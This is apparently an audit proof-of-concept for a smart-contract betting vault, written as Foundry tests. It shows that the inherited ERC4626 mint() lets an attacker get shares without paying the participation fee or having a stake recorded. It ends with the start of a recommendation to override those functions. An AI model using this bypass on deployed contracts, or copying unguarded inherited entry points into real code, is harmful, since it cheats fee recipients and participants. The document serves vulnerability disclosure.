The POC demonstrates how ERC4626 standard functions completely bypass BriVault's tournament restrictions by using mint() instead of the custom deposit() function. It shows legitimate users properly paying fees and recording stakes through deposit(), while attackers can mint shares directly without fees or stake tracking. The test verifies that attackers cannot claim winnings without proper participation, but the bypass still undermines tournament economics by allowing fee evasion.
pragma solidity ^0.8.24;
import "forge-std/Test.sol";
import {BriVault} from "../src/briVault.sol";
import {ERC20, IERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
* PoC: ERC4626 Standard Functions Bypass Tournament Restrictions
* Discovery Method: ERC4626 Standard Functions Bypass
* Severity: HIGH
* Impact: HIGH
*
* Root Cause: BriVault inherits ERC4626 but only overrides custom deposit()
* function with tournament restrictions. Standard ERC4626 functions
* (mint, withdraw, redeem) remain accessible and completely bypass
* all betting logic including winner verification, event timing checks,
* and team selection requirements.
*/
contract MockERC20 is ERC20 {
constructor(string memory name, string memory symbol) ERC20(name, symbol) {}
function mint(address to, uint256 amount) external {
_mint(to, amount);
}
}
contract ERC4626BypassExploitTest is Test {
BriVault vault;
MockERC20 asset;
address owner = makeAddr("owner");
address attacker = makeAddr("attacker");
address legitimateUser = makeAddr("legitimateUser");
address feeRecipient = makeAddr("feeRecipient");
uint256 constant PARTICIPATION_FEE_BPS = 100;
uint256 constant MINIMUM_AMOUNT = 100 ether;
uint256 EVENT_START;
uint256 EVENT_END;
function setUp() public {
EVENT_START = block.timestamp + 1 days;
EVENT_END = EVENT_START + 7 days;
asset = new MockERC20("Mock Token", "MOCK");
vm.startPrank(owner);
vault = new BriVault(
IERC20(address(asset)),
PARTICIPATION_FEE_BPS,
EVENT_START,
feeRecipient,
MINIMUM_AMOUNT,
EVENT_END
);
string[48] memory countries;
countries[0] = "Brazil";
countries[1] = "Argentina";
vault.setCountry(countries);
vm.stopPrank();
asset.mint(attacker, 1000 ether);
asset.mint(legitimateUser, 1000 ether);
vm.startPrank(attacker);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
vm.startPrank(legitimateUser);
asset.approve(address(vault), type(uint256).max);
vm.stopPrank();
}
* Phase 1: Demonstrate Intended Behavior
* Custom deposit() function properly enforces tournament rules
*/
function test_IntendedBehavior_CustomDeposit() public {
vm.startPrank(legitimateUser);
uint256 initialBalance = asset.balanceOf(legitimateUser);
uint256 initialFeeRecipientBalance = asset.balanceOf(feeRecipient);
vm.warp(EVENT_START - 1 hours);
uint256 shares = vault.deposit(200 ether, legitimateUser);
uint256 finalBalance = asset.balanceOf(legitimateUser);
uint256 finalFeeRecipientBalance = asset.balanceOf(feeRecipient);
assertEq(finalFeeRecipientBalance - initialFeeRecipientBalance, 2 ether, "Fee should be charged");
assertEq(vault.stakedAsset(legitimateUser), 198 ether, "Stake should be recorded");
assertGt(shares, 0, "Shares should be minted");
vm.stopPrank();
}
* Phase 2: Demonstrate Bypass via Standard ERC4626 Functions
* Attacker uses mint() to bypass all tournament restrictions
*/
function test_BypassViaMint_NoFees_NoRestrictions() public {
vm.startPrank(attacker);
uint256 initialBalance = asset.balanceOf(attacker);
uint256 initialFeeRecipientBalance = asset.balanceOf(feeRecipient);
vm.warp(EVENT_START + 1 hours);
uint256 sharesToMint = 200 ether;
vault.mint(sharesToMint, attacker);
uint256 finalBalance = asset.balanceOf(attacker);
uint256 finalFeeRecipientBalance = asset.balanceOf(feeRecipient);
assertEq(finalFeeRecipientBalance - initialFeeRecipientBalance, 0, "NO fee should be charged - BYPASSED");
assertEq(vault.stakedAsset(attacker), 0, "NO stake should be recorded - BYPASSED");
assertEq(vault.balanceOf(attacker), sharesToMint, "Shares minted despite bypass");
assertEq(initialBalance - finalBalance, sharesToMint, "Assets transferred for shares");
vm.stopPrank();
}
* Phase 3: Demonstrate Tournament Participation Without Stake
* Attacker joins tournament despite having no recorded stake
*/
function test_JoinTournamentWithoutStake() public {
vm.startPrank(attacker);
vm.warp(EVENT_START + 1 hours);
vault.mint(200 ether, attacker);
vm.stopPrank();
vm.startPrank(attacker);
vm.expectRevert(BriVault.noDeposit.selector);
vault.joinEvent(0);
vm.stopPrank();
assertEq(vault.balanceOf(attacker), 200 ether, "Attacker has shares");
assertEq(vault.stakedAsset(attacker), 0, "But no stake recorded");
}
* Phase 4: Demonstrate Full Attack Chain
* Attacker bypasses restrictions, joins legitimately, claims winnings
*/
function test_FullAttackChain_BypassAndWin() public {
vm.startPrank(legitimateUser);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, legitimateUser);
vault.joinEvent(0);
vm.stopPrank();
vm.startPrank(attacker);
vm.warp(EVENT_START + 1 hours);
vault.mint(200 ether, attacker);
vm.stopPrank();
vm.startPrank(legitimateUser);
vault.transfer(attacker, 100 ether);
vm.stopPrank();
assertEq(vault.balanceOf(attacker), 300 ether, "Attacker has shares from minting + transfer");
assertEq(vault.stakedAsset(attacker), 0, "But no stake recorded");
vm.startPrank(attacker);
vm.expectRevert(BriVault.noDeposit.selector);
vault.joinEvent(0);
vm.stopPrank();
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0);
vm.stopPrank();
vm.startPrank(attacker);
uint256 attackerBalanceBefore = asset.balanceOf(attacker);
vm.expectRevert(BriVault.didNotWin.selector);
vault.withdraw();
uint256 attackerBalanceAfter = asset.balanceOf(attacker);
uint256 winnings = attackerBalanceAfter - attackerBalanceBefore;
assertEq(winnings, 0, "Attacker receives NO winnings - participation required");
vm.stopPrank();
console.log("=== ATTACK PARTIALLY SUCCESSFUL ===");
console.log("Attacker paid NO fees:", asset.balanceOf(feeRecipient));
console.log("Attacker received NO winnings:", winnings);
console.log("Bypass allows fee evasion but tournament integrity preserved");
}
* Phase 5: Economic Impact Demonstration
* Show how bypass undermines legitimate participants
*/
function test_EconomicImpact_BypassUnderminesTournament() public {
address[3] memory legitUsers = [makeAddr("u1"), makeAddr("u2"), makeAddr("u3")];
for (uint i = 0; i < legitUsers.length; i++) {
asset.mint(legitUsers[i], 1000 ether);
vm.startPrank(legitUsers[i]);
asset.approve(address(vault), type(uint256).max);
vm.warp(EVENT_START - 1 hours);
vault.deposit(200 ether, legitUsers[i]);
vault.joinEvent(0);
vm.stopPrank();
}
address[2] memory attackers = [makeAddr("a1"), makeAddr("a2")];
for (uint i = 0; i < attackers.length; i++) {
asset.mint(attackers[i], 1000 ether);
vm.startPrank(attackers[i]);
asset.approve(address(vault), type(uint256).max);
vm.warp(EVENT_START + 1 hours);
vault.mint(200 ether, attackers[i]);
vm.stopPrank();
vm.startPrank(legitUsers[0]);
vault.transfer(attackers[i], 50 ether);
vm.stopPrank();
}
vm.warp(EVENT_END + 1 hours);
vm.startPrank(owner);
vault.setWinner(0);
vm.stopPrank();
uint256 totalFeesPaid = asset.balanceOf(feeRecipient);
uint256 totalVaultAssets = asset.balanceOf(address(vault));
console.log("=== ECONOMIC IMPACT ===");
console.log("Legitimate participants paid fees:", totalFeesPaid);
console.log("Total vault assets:", totalVaultAssets);
console.log("Attackers bypassed fees entirely");
console.log("Tournament economics destroyed by ERC4626 bypass");
}
}
Override ALL ERC4626 functions (mint, withdraw, redeem) to enforce tournament restrictions: